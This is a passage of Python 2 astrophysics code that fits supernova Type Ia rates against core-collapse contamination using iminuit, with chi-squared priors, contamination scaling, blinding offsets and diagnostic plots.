MinObj = M(lamChi2, k = kInit, error_k = kErr , Beta = BetaInit, error_Beta = BetaErr, limit_k = (0.0, None), limit_Beta = (-100, 100), fix_k = fixK, fix_Beta = fixBeta, zBreak = 1.0, error_zBreak = 0.1, limit_zBreak = (self.zminFit, self.zmaxFit))
c2i, _ = lamChi2Dump(1.0, 0.0)
print "Chi2 init = {0}".format(round(c2i, 4))
elif self.Rate_Model == 'discrete':
lamChi2 = lambda f_1, f_2, f_3, f_4, f_5, f_6, f_7, f_8, f_9, f_10, f_11: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, 1.0, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, f_1 = f_1, f_2 = f_2,f_3 = f_3, f_4 = f_4,f_5 = f_5, f_6 = f_6,f_7 = f_7, f_8 = f_8,f_9 = f_9, f_10 = f_10, f_11 = f_11, Rate_Model = 'discrete', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit )
lamChi2Dump = lambda f_1, f_2, f_3, f_4, f_5, f_6, f_7, f_8, f_9, f_10, f_11: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, 1.0, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, f_1 = f_1, f_2 = f_2,f_3 = f_3, f_4 = f_4,f_5 = f_5, f_6 = f_6,f_7 = f_7, f_8 = f_8,f_9 = f_9, f_10 = f_10, f_11 = f_11, dump = True, Rate_Model = 'discrete', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)
c2i, _ = lamChi2Dump(1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0)
print "Chi2 init = {0}".format(round(c2i, 4))
MinObj = M(lamChi2, f_1 = 1.0, error_f_1 = 1.0, limit_f_1 = (0.0, None), f_2 = 1.0, error_f_2 = 1.0, limit_f_2 = (0.0, None), f_3 = 1.0, error_f_3 = 1.0, limit_f_3 = (0.0, None), f_4 = 1.0, error_f_4 = 1.0, limit_f_4 = (0.0, None), f_5 = 1.0, error_f_5 = 1.0, limit_f_5 = (0.0, None), f_6 = 1.0, error_f_6 = 1.0, limit_f_6 = (0.0, None), f_7 = 1.0, error_f_7 = 1.0, limit_f_7 = (0.0, None), f_8 = 1.0, error_f_8 = 1.0, limit_f_8 = (0.0, None), f_9 = 1.0, error_f_9 = 1.0, limit_f_9 = (0.0, None), f_10 = 1.0, error_f_10 = 1.0, limit_f_10 = (0.0, None), f_11 = 1.0,error_f_11 = 1.0, limit_f_11 = (0.0, None))
if self.Rate_Model == 'discrete':
c2f, c2stor = lamChi2Dump(MinObj.values['f_1'],MinObj.values['f_2'],MinObj.values['f_3'],MinObj.values['f_4'],MinObj.values['f_5'],MinObj.values['f_6'],MinObj.values['f_7'],MinObj.values['f_8'],MinObj.values['f_9'],MinObj.values['f_10'],MinObj.values['f_11'])
else:
print "TEST DUMP HERE"
c2f, c2stor = lamChi2Dump(MinObj.values['k'], MinObj.values['Beta'])
#MinObj = M(lamChi2, k = 1.0, fix_k = True, Beta = 0.0, error_Beta = 0.1)
MinObj.set_strategy(2)
fmin, param = MinObj.migrad(nsplit= 10)
#fmin, param = MinObj.migrad()
#ErrDict = MinObj.minos()
self.covar = MinObj.np_covariance()
ErrDict = MinObj.minos(maxcall = 1000)
#plt.scatter(nData, c2stor)
#plt.xlabel('nData')
#plt.ylabel('chi2 in bin')
#plt.savefig(self.realName + 'Chi2VsnData.png')
#plt.clf()
if self.nprint > simInd:
print "Shapes of things"
print len(c2stor)
print nData.shape
print dataBins.shape
print self.binListFit.shape
print self.binListSamp.shape
#print DebugNIaPhot.shape
#print DebugNCCPhot.shape
#print DebugNIaTrue.shape
#print DebugNCCTrue.shape
for c2, nd in zip(c2stor, nData):
self.globalChi2Storage.append(c2)
self.globalNDataStorage.append(nd)
if self.Rate_Model == 'discrete':
fJList = [MinObj.values['f_1'],MinObj.values['f_2'],MinObj.values['f_3'],MinObj.values['f_4'],MinObj.values['f_5'],MinObj.values['f_6'],MinObj.values['f_7'],MinObj.values['f_8'],MinObj.values['f_9'],MinObj.values['f_10'],MinObj.values['f_11']]
fJErrList = [MinObj.errors['f_1'],MinObj.errors['f_2'],MinObj.errors['f_3'],MinObj.errors['f_4'],MinObj.errors['f_5'],MinObj.errors['f_6'],MinObj.errors['f_7'],MinObj.errors['f_8'],MinObj.errors['f_9'],MinObj.errors['f_10'],MinObj.errors['f_11']]
self.fJList = fJList
self.fJErrList = fJErrList
self.Beta = None
self.k = None
self.kErr = None
self.BetaErr = None
print fJList
print fJErrList
else:
k = MinObj.values['k']
#kErr = MinObj.errors['k']
kErr = (np.abs(ErrDict['k']['lower']) + np.abs(ErrDict['k']['upper']))/2.0
Beta = MinObj.values['Beta']
#BetaErr = MinObj.errors['Beta']
BetaErr = (np.abs(ErrDict['Beta']['lower']) + np.abs(ErrDict['Beta']['upper']))/2.0
if self.Rate_Model == 'brokenpowerlawVar':
zBreak = MinObj.values['zBreak']
zBreakErr = MinObj.values['zBreakErr']
self.k = k
self.Beta = Beta
self.kErr = kErr
self.BetaErr = BetaErr
#/(self.nbins - 2)
self.BetaRatio = (1+zCentersFit)**(Beta)
self.fJList = None
print 'SCALE DEBUG'
print NCC
print NIa
print self.BetaRatio
print 'SCALE DEBUG2'
print np.sum(NCC)
print np.sum(NIa)
print np.sum(NIa*self.BetaRatio)
self.fracCCData = (NCC*1.0)/(1.0*(1.0*NCC + NIa*self.BetaRatio))
self.fracCCDataTot = (np.sum(NCC)*1.0)/(1.0*(1.0*np.sum(NCC) + np.sum(NIa*self.BetaRatio)))
print 'SCALE DEBUG3'
print self.fracCCData
print self.fracCCDataTot
print 'SCALE DEBUG4'
print OrigNCC
print np.sum(OrigNCC)
print CCScale
#print self.fracCCDataTot
#print type(self.fracCCDataTot)
#assert(type(self.fracCCDataTot) == float)
print "Chi2 final = {0}".format(round(lamChi2Dump(self.k, self.Beta)[0], 4))
self.chi2 = fmin.fval
print "Chi2final? = {0}".format(round(fmin.fval, 4))
if not(self.priorRate is None):
ratePriorFinalVal = ratePrior(self.k*self.MCK, self.Beta+self.MCBeta, self.priorRate, self.priorZEff, self.ratePriorErrUp, self.ratePriorErrDown, self.ratePriorErrAll )
c2NoPrior = chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, self.k, self.Beta, dump = False, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC)
print "RATE PRIOR FINAL"
print ratePriorFinalVal
print "Chi2final? = {0}".format(round(fmin.fval, 4))
print "Chi2FinalNoPrior"
print c2NoPrior
#fJs = np.ones(zCenters.shape)
'''
try:
if (Rate_Model != 'discrete'):
plt.clf()
MinObj.draw_contour('k','Beta', nsigma=3)
plt.savefig('{0}_{1}_k_beta_contour.png'.format(self.realName, self.simName))
if Blind:
locs, labels = plt.xticks()
labels = locs + np.cos(cosVal)
plt.xticks(labels)
locs, labels = plt.yticks()
labels = locs + np.cos(cosVal)
plt.yticks(labels)
plt.clf()
#xgrid,ygrid, sigma, rawdata = MinObj.mncontour_grid('k', 'Beta', numpoints=30, sigma_res = 1, nsigma = 2.0)
#fig, ax = plt.subplots(1)
#plt.clf()
#CS = ax.contour(xgrid, ygrid + self.MCBeta, sigma, levels = [ 1.0, 2.0])
#ax.clabel(CS, fontsize=7, inline=1)
#ax.set_xlabel('k')
#ax.set_ylabel('Beta')
#if Blind:
# ax.set_xticklabels([])
# ax.set_yticklabels([])
#plt.savefig('{0}_{1}_k_beta_contour.png'.format(self.realName, self.simName))
#plt.close()
except:
print "Plot Fail A"
try:
if (Rate_Model != 'discrete'):
plt.clf()
MinObj.draw_profile('Beta', text = False)
if Blind:
locs, labels = plt.xticks()
labels = locs + np.cos(cosVal)
plt.xticks(labels)
plt.savefig('{0}_{1}_beta_contour.png'.format(self.realName, self.simName))
plt.clf()
except:
print "Plot Fail C"
try:
if Rate_Model != 'discrete':
Betas = np.linspace(self.Beta - 0.5, self.Beta + 0.5, 51)
FCNs = []
for bTemp in Betas:
FCN = lamChi2( self.k, bTemp)
FCNs.append(FCN)
plt.plot(Betas, FCNs, c = 'k', label = 'Non Minuit Contour')
plt.legend()
plt.xlabel('Beta')
plt.ylabel('Chi2')
if Blind:
locs, labels = plt.xticks()
labels = locs + np.cos(cosVal)
plt.xticks(labels)
plt.savefig('{0}_{1}_beta_mycontour.png'.format(self.realName, self.simName))
plt.clf()
except:
print "Plot Fail D"
if Rate_Model != 'discrete':
plt.clf()
ax = plt.axes()
Betas = np.linspace(self.Beta - 0.1, self.Beta + 0.1, 501)
FCNs = []
for bTemp in Betas:
FCN = lamChi2( self.k, bTemp)
FCNs.append(FCN)
plt.plot(Betas, FCNs, c = 'k', label = 'Non Minuit Contour')
plt.legend()
plt.xlabel('Beta')
plt.ylabel('Chi2')
if Blind:
locs, labels = plt.xticks()
labels = locs + np.cos(cosVal)
ax.set_xticklabels(labels)
print "FCNs"
print FCNs
plt.savefig('{0}_{1}_beta_myzoomcontour.png'.format(self.realName, self.simName))
plt.clf()
plt.clf()
ax = plt.axes()
ks = np.linspace(self.k - 0.1, self.k + 0.1, 501)
FCNs = []
for kTemp in ks:
FCN = lamChi2( kTemp,self.Beta)
FCNs.append(FCN)
plt.plot(ks, FCNs, c = 'k', label = 'Non Minuit Contour')
plt.legend()
plt.xlabel('k')
plt.ylabel('Chi2')
print "FCNs"
print FCNs
plt.savefig('{0}_{1}_k_myzoomcontour.png'.format(self.realName, self.simName))
plt.clf()
df = np.array(FCNs[1:]) - np.array(FCNs[:-1])
inds = np.where(df > 0)[0]
print 'inds'
print inds
print inds < 250
print np.where(inds < 250)
inds = inds[np.where(inds < 250)]
print 'inds'
print inds
print "INDSSHAPE"
print inds.shape
if inds.shape[0]:
print "MINUIT IS PROBABLY MAD. HERES WHY"
print inds
print Betas[inds]
if inds.shape[0] > 1:
inds = inds[-1]
print inds
print Betas[inds]
lamChi2Dump(self.k, Betas[inds -3])
print "MINUIT MAD 2"
lamChi2Dump(self.k, Betas[inds -2])
print "MINUIT MAD 3"
lamChi2Dump(self.k, Betas[inds -1])
print "MINUIT MAD 4"
lamChi2Dump(self.k, Betas[inds])
print "MINUIT MAD 5"
lamChi2Dump(self.k, Betas[inds + 1])
print "MINUIT MAD 6"
lamChi2Dump(self.k, Betas[inds + 2])
print "MINUIT MAD 7"
lamChi2Dump(self.k, Betas[inds + 3])
print "END MINUIT MAD"
try:
if (Rate_Model != 'discrete'):
plt.clf()
MinObj.draw_mncontour('k','Beta', nsigma=3)
plt.savefig('{0}_{1}_k_beta_mncontour.png'.format(self.realName, self.simName))
if Blind:
locs, labels = plt.xticks()
labels = locs + np.cos(cosVal)
plt.xticks(labels)
locs, labels = plt.yticks()
labels = locs + np.cos(cosVal)
plt.yticks(labels)
plt.clf()
MinObj.draw_mnprofile('Beta', text = False, subtract_min = True)
if Blind:
locs, labels = plt.xticks()
labels = locs + np.cos(cosVal)
plt.xticks(labels)
plt.savefig('{0}_{1}_beta_mncontour.png'.format(self.realName, self.simName))
plt.clf()
#xgrid,ygrid, sigma, rawdata = MinObj.mncontour_grid('k', 'Beta', numpoints=30, sigma_res = 1, nsigma = 2.0)
#fig, ax = plt.subplots(1)
#plt.clf()
#CS = ax.contour(xgrid, ygrid + self.MCBeta, sigma, levels = [ 1.0, 2.0])
#ax.clabel(CS, fontsize=7, inline=1)
#ax.set_xlabel('k')
#ax.set_ylabel('Beta')
#if Blind:
# ax.set_xticklabels([])
# ax.set_yticklabels([])
#plt.savefig('{0}_{1}_k_beta_contour.png'.format(self.realName, self.simName))
#plt.close()
except:
print "Plot Fail B"
pass
#plt.axhline(y = self.MCBeta, c = 'k', label = 'True Beta')
#plt.axhline(y = Beta + self.MCBeta, c = 'g', label= 'Best Fit Beta')
#plt.axvline(x = k, label = 'Best Fit k')
'''
'''
def chi2V2(self, fJs, fJErrs, zCenters, k, Beta):
fitfJs = k*(1+zCenters)**Beta
Chi2Temp = 0
for fJ, fitfJ, fJErr in zip(fJs, fitfJs, fJErrs):
Chi2Temp += (fJ - fitfJ)**2/(fJ + fJErr)
return Chi2Temp
'''
def weakPrior(value, priorTuple):
if value < priorTuple[1]:
if value > priorTuple[0]:
return 1
else:
return (value - priorTuple[0])**4
else:
return (value - priorTuple[1])**4
def ratePrior(fitK, fitBeta, priorRate, zEffPrior, priorRateErrUp = None, priorRateErrDown = None, priorRateErrAll = None):
print "PRIOR"
print priorRate
print zEffPrior
print priorRateErrUp
print priorRateErrDown
print "Fit Beta/k"
print fitBeta
print fitK
fitRate = fitK*(1+zEffPrior)**fitBeta
print 'Fit Rate'
print fitRate
print "PriorChi2"
if fitRate > priorRate:
if not (priorRateErrUp is None):
print (fitRate - priorRate)**2/priorRateErrUp**2
return (fitRate - priorRate)**2/priorRateErrUp**2
else:
print (fitRate - priorRate)**2/priorRateErrAll**2
return (fitRate - priorRate)**2/priorRateErrAll**2
else:
if not (priorRateErrDown is None):
print (fitRate - priorRate)**2/priorRateErrDown**2
return (fitRate - priorRate)**2/priorRateErrDown**2
else:
print (fitRate - priorRate)**2/priorRateErrAll**2
return (fitRate - priorRate)**2/priorRateErrAll**2
def getCCScale(simCat, dataCat, MURESWindow = (-1, 1), zbins = [0.0, 0.3, 0.6, 0.9, 1.2], Beta = None, binList = None, fracCCData = None, outfilePrefix = 'Test', Rate_Model = 'powerlaw', f_Js = None, returnHist = False, debug = False, simInd = 100, ztype = 'zPHOT'):
#import iminuit as iM
#from iminuit import Minuit as M
if debug:
print "Check this"
print Rate_Model
print f_Js
print Beta
print fracCCData
print "Done Checking"
CCScales = []
CCScaleErrs = []
simIaHists = []
simCCHists = []
dataHists = []
if not(f_Js is None):
f_Js = np.array(f_Js)
allSimCC = simCat[simCat['SIM_TYPE_INDEX'].astype(int) != 1]
allSimIa = simCat[simCat['SIM_TYPE_INDEX'].astype(int) == 1]
allData = np.copy(dataCat)
#fnorm2 = float(dataCat.shape[0])/float(np.sum(simHist))
simCat = simCat[(simCat['MURES'] < MURESWindow[0]) | (simCat['MURES'] > MURESWindow[1]) ]
dataCat = dataCat[(dataCat['MURES'] < MURESWindow[0]) | (dataCat['MURES'] > MURESWindow[1]) ]
for zl, zh in zip(zbins[:-1], zbins[1:]):
tempSim = simCat[(simCat[ztype] < zh) & (simCat[ztype] > zl)]
tempData = dataCat[(dataCat[ztype] < zh) & (dataCat[ztype] > zl)]
allSimCCZbin = allSimCC[(allSimCC[ztype] < zh) & (allSimCC[ztype] > zl)]
allSimIaZbin = allSimIa[(allSimIa[ztype] < zh) & (allSimIa[ztype] > zl)]
if debug:
print "all Sim CC Zbin/IaZbin"
print allSimCCZbin.shape[0]
print allSimIaZbin.shape[0]
allDataZbin = allData[(allData[ztype] < zh) & (allData[ztype] > zl)]
tempSimCC = tempSim[tempSim['SIM_TYPE_INDEX'] != 1]
tempSimIa = tempSim[tempSim['SIM_TYPE_INDEX'] == 1]
R = float(tempData.shape[0])/float(allDataZbin.shape[0])
if debug:
print "R"
print R
print "Hist CC, outlier and total"
print tempSim.shape[0]
print allSimCCZbin.shape[0]
print "pre Beta Correction allSimIa"
print tempData.shape[0]
print allSimIaZbin.shape[0]
if Rate_Model == 'discrete':
hist, bins = np.histogram(allSimIaZbin[ztype], bins = 11)
if debug:
print 'fJ shape'
print f_Js.shape
print f_Js
print hist
print bins
betaCorrAllSimIaZbin =np.sum(hist*f_Js)
else:
betaCorrAllSimIaZbin =np.sum((1+ allSimIaZbin[ztype])**Beta)
#S = float(np.array(R*histSAllIa) - np.array(tempSimIa.shape[0]))/float(np.array(tempSimCC.shape[0]) - np.array(R*histSAllCC))
try:
if debug:
print "Test S"
print R
print betaCorrAllSimIaZbin
print tempSimIa.shape[0]
print tempSimCC.shape[0]
print allSimCCZbin.shape
print 'EEE'
print np.array(R*betaCorrAllSimIaZbin)
print 'DDD'
print np.array(tempSimIa.shape[0])
print 'CCC'
print (np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))
print "AAA"
print (np.array(R*betaCorrAllSimIaZbin) - np.array(tempSimIa.shape[0]))/(np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))
print "BBB"
#S = (np.array(R*betaCorrAllSimIaZbin) - np.array(tempSimIa.shape[0]))/(np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))
S = float(np.array(R*betaCorrAllSimIaZbin) - np.array(tempSimIa.shape[0]))/float(np.array(tempSimCC.shape[0]) - np.array(R*allSimCCZbin.shape[0]))
except:
S = np.nan
if debug:
print "S WTF"
print S
print "Uncertainty Related Bullshit"
'''
print "Delta R"
dR = np.sqrt(histD + histDAll)
print dR
num1 = np.sqrt(np.sqrt((dR/R)**2 + histSAllIa) + tempSimIa.shape[0])
num2 = np.sqrt(np.sqrt((dR/R)**2 + histSAllCC) + tempSimCC.shape[0])
den1 = (R*histSAllIa - tempSimIa.shape[0])
den2 = (tempSimCC.shape[0] - R*histSAllCC)
dS = np.sqrt((num1/den1)**2 + (num2/den2)**2)
'''
#ddnCC = np.sqrt(tempSimCC.shape[0])*(tempSimIa.shape[0] - histSAllIa*R)/(tempSimCC.shape[0] - R*histSAllCC)**2
#ddNCC = np.sqrt(histSAllCC)*R*(histSAllIa*R - tempSimIa.shape[0])/(tempSimCC.shape[0] - R*histSAllCC)**2
#ddnIa = np.sqrt(tempSimIa.shape[0])/(tempSimCC.shape[0] - R*histSAllCC)
#ddNIa = np.sqrt(histSAllIa)*R/(tempSimCC.shape[0] - R*histSAllCC)
ddnCC = np.sqrt(tempSimCC.shape[0])*(tempSimIa.shape[0] - allSimIaZbin.shape[0]*R)/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])**2
ddNCC = np.sqrt(allSimCCZbin.shape[0])*R*(allSimIaZbin.shape[0]*R - tempSimIa.shape[0])/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])**2
ddnIa = np.sqrt(tempSimIa.shape[0])/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])
ddNIa = np.sqrt(allSimIaZbin.shape[0])*R/(tempSimCC.shape[0] - R*allSimCCZbin.shape[0])
#ddR = (histSAllIa*tempSimCC.shape[0] - histSAllCC * tempSimIa.shape[0])/(tempSimCC.shape[0] - R*histSAllCC)**2
dS = np.sqrt(ddnCC**2 + ddNCC**2 + ddnIa**2 + ddNIa**2)# + ddR**2)
if debug:
print "ddnCC"
print ddnCC
print "ddNCC"
print ddNCC
print "ddnIa"
print ddnIa
print "ddNIa"
print ddNIa
#print "ddR"
#print ddR
print "Delta S"
print dS
#assert(S > 0)
if S < 0:
S = np.nan
if np.isnan(S):
print 'SCALE IS NAN'
if len(CCScales) > 0:
#CCScales.append(CCScales[-1])
CCScales.append(1.0)
else:
CCScales.append(1.0)
else:
CCScales.append(S)
if type(dS) == np.ndarray:
if np.isnan(dS[0]):
CCScaleErrs.append(1.0)
else:
CCScaleErrs.append(dS[0])
else:
if np.isnan(dS):
CCScaleErrs.append(1.0)
else:
CCScaleErrs.append(dS)
#if debug:
# print "CC PlotDebug"
# print (simBinsCC[1:] + simBinsCC[:-1])/2.0
# print simHistCC
# print CCScales[0]
# print dS
# print fnorm2
# print histD
# print (muresBins[1:] + muresBins[:-1])/2.0
#if simInd ==1:
# plt.step((simBinsCC[1:] + simBinsCC[:-1])/2.0, simHistCC*fnorm2, c = 'b', where = 'mid', label = 'prescaled Sim CC')
# plt.step((simBinsCC[1:] + simBinsCC[:-1])/2.0, CCScales[0]*simHistCC*fnorm2, c = 'g', where = 'post', label = 'postscaledSimCC')
# plt.step((muresBins[1:] + muresBins[:-1])/2.0, histD, c = 'r', where = 'mid', label = 'data')
# plt.legend()
# plt.savefig(outfilePrefix + 'ScaledHist.png')
# plt.clf()
if debug:
print "CCScaleErrs"
print CCScaleErrs
if returnHist:
return CCScales, CCScaleErrs, simIaHists, simCCHists, dataHists
return CCScales, CCScaleErrs
def applyCCScale(NCC, CCScales, CCScaleErrs, datazbins = None, zbins = None):
if not(zbins is None):
zbins = np.array(zbins)
if not (datazbins is None):
datazbins = np.array(datazbins)
if type(CCScaleErrs) == list:
CCScaleErrs = np.array(CCScaleErrs)
if type(CCScales) == list:
CCScales = np.array(CCScales)
print 'CCScaleErrs'
print CCScaleErrs
print datazbins
print zbins
if type(CCScales) == np.ndarray:
if CCScales.shape[0] == 1:
NCCScaled = CCScales[0]*NCC
else:
if (datazbins is None) | (zbins is None):
assert(0)
if CCScales.shape[0] < 4:
k = CCScales.shape[0] -1
else:
k = 3
nancond = np.isnan(CCScales)
if np.sum(nancond) > 0:
CCScales[nancond] = 1.
CCScaleErrs[nancond] = 1.
zCenters = (zbins[1:]+ zbins[:-1])/2.0
print zCenters
print CCScales
#spline = UnivariateSpline(zbins, CCScales, w = 1.0/CCScaleErrs, k = k)
spline = UnivariateSpline(zCenters, CCScales, w = 1.0/CCScaleErrs, k = k)
print datazbins.shape
print datazbins
print NCC.shape
datazcents = (datazbins[1:]+ datazbins[:-1])/2.0
NCCScaled = spline(datazcents)*NCC
elif (type(CCScales) == int) | (type(CCScales) == float):
NCCScaled = CCScales*NCC
else:
assert(0)
NCCScaled = NCCScaled.clip(0)
print NCCScaled
assert(not bool(np.sum(NCCScaled < 0)))
return NCCScaled
if __name__ == '__main__':
from sys import argv
print "argv"
print argv
datadir = argv[1]
simdir = argv[2]
dataname = argv[3]
print "dataname"
simname = argv[4]
print simname
simgenfile = argv[5]
print simgenfile
NNCut = False
cheatType = bool(int(argv[6]))
cheatZ = bool(int(argv[7]))
trueBeta = float(argv[8])
paramFile = argv[9]
cutFiles = [argv[10]]
try:
debug = bool(int(argv[11]))
except:
debug = False
#if( ('Combine' in simdir) or ('SALT2' in simdir)) & (('Combine' in datadir) or ('SALT2' in simdir)):
#NNCut = True
#NNProbCut = 0.95
#if len(argv) > 6:
# NNCut = True
# NNProbCut = 0.9
# NNData = argv[6]
# NNSim = argv[7]
#default params
zminFit = 0.1
zmaxFit = 1.2
zminSamp = 0.1
zmaxSamp = 1.2
MJDMin = 0.0
MJDMax = np.inf
bins = "equalSize"
runFit = True
fracContamCuts = [-1]
fixBeta = True
fixK = False
nbins = None
binList = None
ScaleMuResCutLow = -1
ScaleMuResCutHigh = 1
#muresBins = 1
muresBinsLow = 3
muresBinsHigh = 3
scaleZBins = [0.0, 1.2]
nScaleZBins = None
cheatCCSub = False
cheatCCScale = False
ZSysFlag = False
Blind = False
Rate_Model = 'powerlaw'
MURESCuts = 2.0 #[(0.0, 0.8, -0.5, 0.5), (0.8, 1.5, -1, 1)]
noCCMC = False
fixCCScale = False
trueMCBeta = 1.65
trueMCK = 1.97E-5
priorRate = None
priorZEff = None
ratePriorErrUp = None
ratePriorErrDown =None
ratePriorErrAll = None
priors = None
#override file
params = open(paramFile, 'r').readlines()
for p in params:
print p
exec(p)
if nScaleZBins is None :
redoScaleZBinFlag = False
else:
redoScaleZBinFlag = True
if not(priors is None):
if len(priors) == 3:
priorRate, priorZEff, ratePriorErrAll = priors
ratePriorErrUp = None
ratePriorErrDown = None
elif len(priors) == 4:
priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown = priors
ratePriorErrAll =None
cosVal = 47392945716038.134971247
kmean = []
ksigma = []
kErr = []
BetaMean = []
#BetaWeightMean = []
#KWeightMean = []
BetaSigma= []
BetaErr = []
zBreakMeans = []
zBreakSigmas =[]
zBreakErrs = []
Chi2Mean = []
Chi2Sigma = []
f_JStorage = []
f_JErrStorage = []
SampleSizes = []
CCScaleStorageGlobal = []
CCScaleErrStorageGlobal = []
#MURES_Cuts = [2.0]
#MURES_Cuts = [1.0, 1.5, 2.0, 3.0, 4.0, 99.0, 2.0]
#for MURES_Cut in MURES_Cuts:
fcc = -1
for cf in cutFiles:
cuts = [] # cuts = [('FITPROB', 0.01, np.inf), ('NN_PROB_IA', NNProbCut, np.inf)]
cutlist = open(cf, 'r').readlines()
for l in cutlist:
spl = l.split()
cuts.append(('{0}'.format(spl[0]), float('{0}'.format(spl[1])), float('{0}'.format(spl[2]))))
ks = []
kErrs = []
Betas = []
BetaErrs = []
zBreaks =[]
zBreakErrs = []
Chi2s = []
CCScaleStorage = []
CCScaleErrStorage = []
nFail = 0
simLoaded = False
#print "FUCK MPI"
#if Rate_Model == 'discrete':
# subprocess.call(['python', 'constructChi2Func.py', str(nbins)], shell = False)
#print "MPI Fucked"
if '{' in datadir:
if os.path.exists(datadir.format(98)):
print "MOAR SIMS"
nfile = 101
else:
print "FEWAR SIMS"
nfile = 49
else:
nfile = 2
for simInd in range(1,nfile):
#print "Sim {0}".format(simInd)
#SimBeta = 2.1 # simdir.split('_')[-3]
#SimR0 = 1.7*10**-5 #simdir.split('_')[-5]
#print "Sim R0 = {1}; Sim Beta = {0}".format(SimBeta, SimR0)
print datadir.format(simInd)
if simLoaded:
try:
RateTest.newData(datadir.format(simInd), dataname.format(simInd), simInd =simInd)
if ZSysFlag:
assert(0)
RateTest.zSystematic(nbins = nbins, binList = binList)
if redoScaleZBinFlag:
RealCat = RateTest.postCutRealCat
RealOutlierCat = RealCat[(RealCat['MURES'] > muresBinsHigh)| (RealCat['MURES'] < muresBinsLow)]
zArray =RealOutlierCat[RateTest.ztype]
zArray.sort()
splitZs = np.array_split(zArray, nScaleZBins)
#[(0[0], (0[-1] + 1[0]), (1[-1] + 2[0]), 2[1]]
scaleZBins = [splitZs[0][0]]
for i in range(1,nScaleZBins):
scaleZBins.append((splitZs[i-1][-1] + splitZs[i][0] )/2.0)
scaleZBins.append(splitZs[i][-1])
#RateTest.effCalc(nbins = nbins, fracContamCut = fcc, simInd =simInd)
#RateTest.effCalc(nbins = 20)
BetaIter = []
BetaErrIter = []
CCIter = []
CCErrIter = []
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, simInd =simInd, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, TrueCCScale = TrueCCScale, scaleZBins = scaleZBins, Blind = Blind)
if Rate_Model != 'discrete':
if Blind:
print "Blinding A"
BetaIter.append(RateTest.Beta+ np.cos(cosVal))
else:
BetaIter.append(RateTest.Beta)
BetaErrIter.append(RateTest.BetaErr)
for iteration in range(nIter):
if not fixCCScale:
if not noCCMC:
CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname,Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)
CCIter.append(CCScale)
CCErrIter.append(CCScaleErr)
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = CCScale, CCScaleErr = CCScaleErr, TrueCCScale = TrueCCScale, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, f_Js =RateTest.fJList, CCZbins = scaleZBins , scaleZBins = scaleZBins, Blind = Blind)
else:
CCIter.append(0.0)
CCErrIter.append(0.0)
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 0.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, f_Js =RateTest.fJList, CCZbins = scaleZBins , scaleZBins = scaleZBins, Blind = Blind)
else:
CCIter.append(1.0)
CCErrIter.append(0.0)
RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, f_Js =RateTest.fJList, CCZbins = scaleZBins , scaleZBins = scaleZBins, Blind = Blind)
if Blind:
print "Blinding b"
BetaIter.append(RateTest.Beta+ np.cos(cosVal))
else:
BetaIter.append(RateTest.Beta)
BetaErrIter.append(RateTest.BetaErr)
if not fixCCScale:
if not noCCMC:
CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname,Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)
CCIter.append(CCScale)
CCErrIter.append(CCScaleErr)
else:
CCIter.append(1.0)
CCErrIter.append(0.0)
print "CCScale Progression"
print CCIter
print "CCScale Err Progression"
print CCErrIter
if Rate_Model != 'discrete':
print "Beta Progression"
print BetaIter
print "Beta Err Progressions"
print BetaErrIter
print "Mean Betas"
print np.nanmean(BetaIter)
print "Mean CCScales"
print np.nanmean(CCIter)
else:
f_JStorage.append(RateTest.fJList)
f_JErrStorage.append(RateTest.fJErrList)
#print "AAA CC Scales"
if not fixCCScale:
if not noCCMC:
